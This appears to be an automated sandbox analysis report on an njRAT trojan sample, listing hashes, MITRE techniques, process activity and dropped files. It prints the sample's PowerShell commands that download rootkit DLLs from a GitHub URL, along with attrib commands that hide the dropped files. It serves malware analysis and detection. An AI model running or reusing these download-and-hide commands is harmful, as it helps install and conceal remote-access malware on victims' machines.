njrat | 8920797352a55d0413ab4642e7e2dcd049d702678f6870f6f58ac64e814e5720

Analysis

max time kernel
149s
max time network
118s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
22-01-2024 08:16

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General

Target

6f2bf69913f6bf47a6ae722c9640a311.exe
Size

46KB
MD5

6f2bf69913f6bf47a6ae722c9640a311
SHA1

5aa0c1acc2c56f283a9694f4953f6085f0b0059d
SHA256

8920797352a55d0413ab4642e7e2dcd049d702678f6870f6f58ac64e814e5720
SHA512

0721b0c5ad0ce0049609da9f59359fb5d895005342f87697683c9ffbb63213b125c8c81f55dfef50b7678b0f52ad3707d8c4cbdfadb64b8136f236bb3a30164c
SSDEEP

768:MB9QFE9xTu53yAeC1lNhTTHxAlbL0gUqrvs9kIL4:MBN9A5CAeCRpTHMbL0gU6+ka4

Score

10^/10

njrat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/NGROKC/CTC/raw/main/CTC64.dll

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/NGROKC/CTC/raw/main/CTC86.dll

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Blocklisted process makes network request 4 IoCs

flow	pid	Process
5	2140	powershell.exe
6	2140	powershell.exe
8	2468	powershell.exe
9	2468	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2140	powershell.exe
2468	powershell.exe
2344	6f2bf69913f6bf47a6ae722c9640a311.exe
2344	6f2bf69913f6bf47a6ae722c9640a311.exe
2344	6f2bf69913f6bf47a6ae722c9640a311.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2140	powershell.exe
Token: SeDebugPrivilege	2468	powershell.exe
Token: SeDebugPrivilege	2344	6f2bf69913f6bf47a6ae722c9640a311.exe
Token: 33	2344	6f2bf69913f6bf47a6ae722c9640a311.exe
Token: SeIncBasePriorityPrivilege	2344	6f2bf69913f6bf47a6ae722c9640a311.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2344 wrote to memory of 3060	2344	6f2bf69913f6bf47a6ae722c9640a311.exe	30
PID 2344 wrote to memory of 3060	2344	6f2bf69913f6bf47a6ae722c9640a311.exe	30
PID 2344 wrote to memory of 3060	2344	6f2bf69913f6bf47a6ae722c9640a311.exe	30
PID 3060 wrote to memory of 2140	3060	cmd.exe	28
PID 3060 wrote to memory of 2140	3060	cmd.exe	28
PID 3060 wrote to memory of 2140	3060	cmd.exe	28
PID 2344 wrote to memory of 2564	2344	6f2bf69913f6bf47a6ae722c9640a311.exe	33
PID 2344 wrote to memory of 2564	2344	6f2bf69913f6bf47a6ae722c9640a311.exe	33
PID 2344 wrote to memory of 2564	2344	6f2bf69913f6bf47a6ae722c9640a311.exe	33
PID 2564 wrote to memory of 2468	2564	cmd.exe	31
PID 2564 wrote to memory of 2468	2564	cmd.exe	31
PID 2564 wrote to memory of 2468	2564	cmd.exe	31
PID 2344 wrote to memory of 1908	2344	6f2bf69913f6bf47a6ae722c9640a311.exe	35
PID 2344 wrote to memory of 1908	2344	6f2bf69913f6bf47a6ae722c9640a311.exe	35
PID 2344 wrote to memory of 1908	2344	6f2bf69913f6bf47a6ae722c9640a311.exe	35
PID 2344 wrote to memory of 2516	2344	6f2bf69913f6bf47a6ae722c9640a311.exe	43
PID 2344 wrote to memory of 2516	2344	6f2bf69913f6bf47a6ae722c9640a311.exe	43
PID 2344 wrote to memory of 2516	2344	6f2bf69913f6bf47a6ae722c9640a311.exe	43
PID 2344 wrote to memory of 2828	2344	6f2bf69913f6bf47a6ae722c9640a311.exe	41
PID 2344 wrote to memory of 2828	2344	6f2bf69913f6bf47a6ae722c9640a311.exe	41
PID 2344 wrote to memory of 2828	2344	6f2bf69913f6bf47a6ae722c9640a311.exe	41
PID 2344 wrote to memory of 1676	2344	6f2bf69913f6bf47a6ae722c9640a311.exe	39
PID 2344 wrote to memory of 1676	2344	6f2bf69913f6bf47a6ae722c9640a311.exe	39
PID 2344 wrote to memory of 1676	2344	6f2bf69913f6bf47a6ae722c9640a311.exe	39
PID 2344 wrote to memory of 1468	2344	6f2bf69913f6bf47a6ae722c9640a311.exe	37
PID 2344 wrote to memory of 1468	2344	6f2bf69913f6bf47a6ae722c9640a311.exe	37
PID 2344 wrote to memory of 1468	2344	6f2bf69913f6bf47a6ae722c9640a311.exe	37

Views/modifies file attributes 1 TTPs 5 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1676	attrib.exe
2828	attrib.exe
2516	attrib.exe
1908	attrib.exe
1468	attrib.exe

C:\Users\Admin\AppData\Local\Temp\6f2bf69913f6bf47a6ae722c9640a311.exe
"C:\Users\Admin\AppData\Local\Temp\6f2bf69913f6bf47a6ae722c9640a311.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2344
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\D64.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3060
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\D86.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2564
- C:\Windows\system32\attrib.exe
  attrib +h +r +s "C:\Users\Admin\AppData\Roaming\Subdir"
  2⤵
  - Views/modifies file attributes
  PID:1908
- C:\Windows\system32\attrib.exe
  attrib +h +r +s "C:\Users\Admin\AppData\Local\Temp\r77-x64.dll"
  2⤵
  - Views/modifies file attributes
  PID:1468
- C:\Windows\system32\attrib.exe
  attrib +h +r +s "C:\Users\Admin\AppData\Local\Temp\cjc3LXg4Ni5kbGw="
  2⤵
  - Views/modifies file attributes
  PID:1676
- C:\Windows\system32\attrib.exe
  attrib +h +r +s "C:\Users\Admin\AppData\Local\"
  2⤵
  - Views/modifies file attributes
  PID:2828
- C:\Windows\system32\attrib.exe
  attrib +h +r +s "C:\Users\Admin\AppData\Roaming\Subdir\$77-google.exe"
  2⤵
  - Views/modifies file attributes
  PID:2516

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/CTC64.dll','C:\Users\Admin\AppData\Local\Temp\r77-x64.dll');
1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2140

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/CTC86.dll','C:\Users\Admin\AppData\Local\Temp\r77-x86.dll');
1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\D64.bat

Filesize
222B

MD5
9c2599eecfb45356c99a7320805d85e7

SHA1
ebbe61d1cf2d55c3d7c59fbaa1a2ba62b0f244e7

SHA256
a3f1a82cc9957b71b5409c6280e97e8af14bdc3c6fb5ad195708f8c95a6f4d40

SHA512
b8d32363da98d418f9caf853b1569a0b4051e2475067988f3cdbaf2226ba667d4dd1e69217e10860cb6a947b894093878a1fad6525aebb9c353e9e956a86c8a4

Download Submit
C:\Users\Admin\AppData\Local\Temp\D86.bat

Filesize
222B

MD5
d35427fb987daec1ccf0b500929c0bd0

SHA1
f56c9b7e7ce037aa9cb3a513cb2d7ad317ab6447

SHA256
f818bbd6afa5d80f4b2d8c2d090a2a487d3cd69ffd32214a169d62282b7cb861

SHA512
73b489ab1372bc5cbf2248cf706041e73532daeebcf448d1720b485e7a5e7614afc9ebd6ea407adf3bd7006a61cef008241385bb1e060b3e4d33f8ca4b89f830

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
f2ff374e5184d81999a918ebf9e7750f

SHA1
4cb2467b455da3bd4412b72a4be63e00d365a3ef

SHA256
7a3e987946a7032bb89b2aabb0062f04d833adb30ac387eaf149f861fef02bd5

SHA512
005d962a1ad3e83533ad0dbaf5855d6aa3bdc580a712e35c560df79075c836acad62a3b0a08bdba1876a09dae8d59e8d78c6d32cc6fa4cfc0d973e1f662876a3

Download Submit
memory/2140-19-0x000007FEEE400000-0x000007FEEED9D000-memory.dmp

Filesize
9.6MB

Download
memory/2140-16-0x000007FEEE400000-0x000007FEEED9D000-memory.dmp

Filesize
9.6MB

Download
memory/2140-17-0x0000000002C90000-0x0000000002D10000-memory.dmp

Filesize
512KB

Download
memory/2140-18-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/2140-15-0x000000001B740000-0x000000001BA22000-memory.dmp

Filesize
2.9MB

Download
memory/2140-21-0x0000000002C90000-0x0000000002D10000-memory.dmp

Filesize
512KB

Download
memory/2140-22-0x0000000002C90000-0x0000000002D10000-memory.dmp

Filesize
512KB

Download
memory/2140-20-0x0000000002C90000-0x0000000002D10000-memory.dmp

Filesize
512KB

Download
memory/2140-23-0x0000000002C90000-0x0000000002D10000-memory.dmp

Filesize
512KB

Download
memory/2140-24-0x000007FEEE400000-0x000007FEEED9D000-memory.dmp

Filesize
9.6MB

Download
memory/2344-47-0x000007FEF56E0000-0x000007FEF60CC000-memory.dmp

Filesize
9.9MB

Download
memory/2344-1-0x000007FEF56E0000-0x000007FEF60CC000-memory.dmp

Filesize
9.9MB

Download
memory/2344-51-0x000000001AF80000-0x000000001B000000-memory.dmp

Filesize
512KB

Download
memory/2344-0-0x00000000011C0000-0x00000000011D2000-memory.dmp

Filesize
72KB

Download
memory/2344-50-0x000000001AF80000-0x000000001B000000-memory.dmp

Filesize
512KB

Download
memory/2468-42-0x0000000002630000-0x0000000002638000-memory.dmp

Filesize
32KB

Download
memory/2468-43-0x000007FEEDA60000-0x000007FEEE3FD000-memory.dmp

Filesize
9.6MB

Download
memory/2468-45-0x0000000002880000-0x0000000002900000-memory.dmp

Filesize
512KB

Download
memory/2468-44-0x0000000002880000-0x0000000002900000-memory.dmp

Filesize
512KB

Download
memory/2468-46-0x0000000002880000-0x0000000002900000-memory.dmp

Filesize
512KB

Download
memory/2468-39-0x000000001B600000-0x000000001B8E2000-memory.dmp

Filesize
2.9MB

Download
memory/2468-48-0x0000000002880000-0x0000000002900000-memory.dmp

Filesize
512KB

Download
memory/2468-49-0x000007FEEDA60000-0x000007FEEE3FD000-memory.dmp

Filesize
9.6MB

Download
memory/2468-41-0x0000000002880000-0x0000000002900000-memory.dmp

Filesize
512KB

Download
memory/2468-40-0x000007FEEDA60000-0x000007FEEE3FD000-memory.dmp

Filesize
9.6MB

Download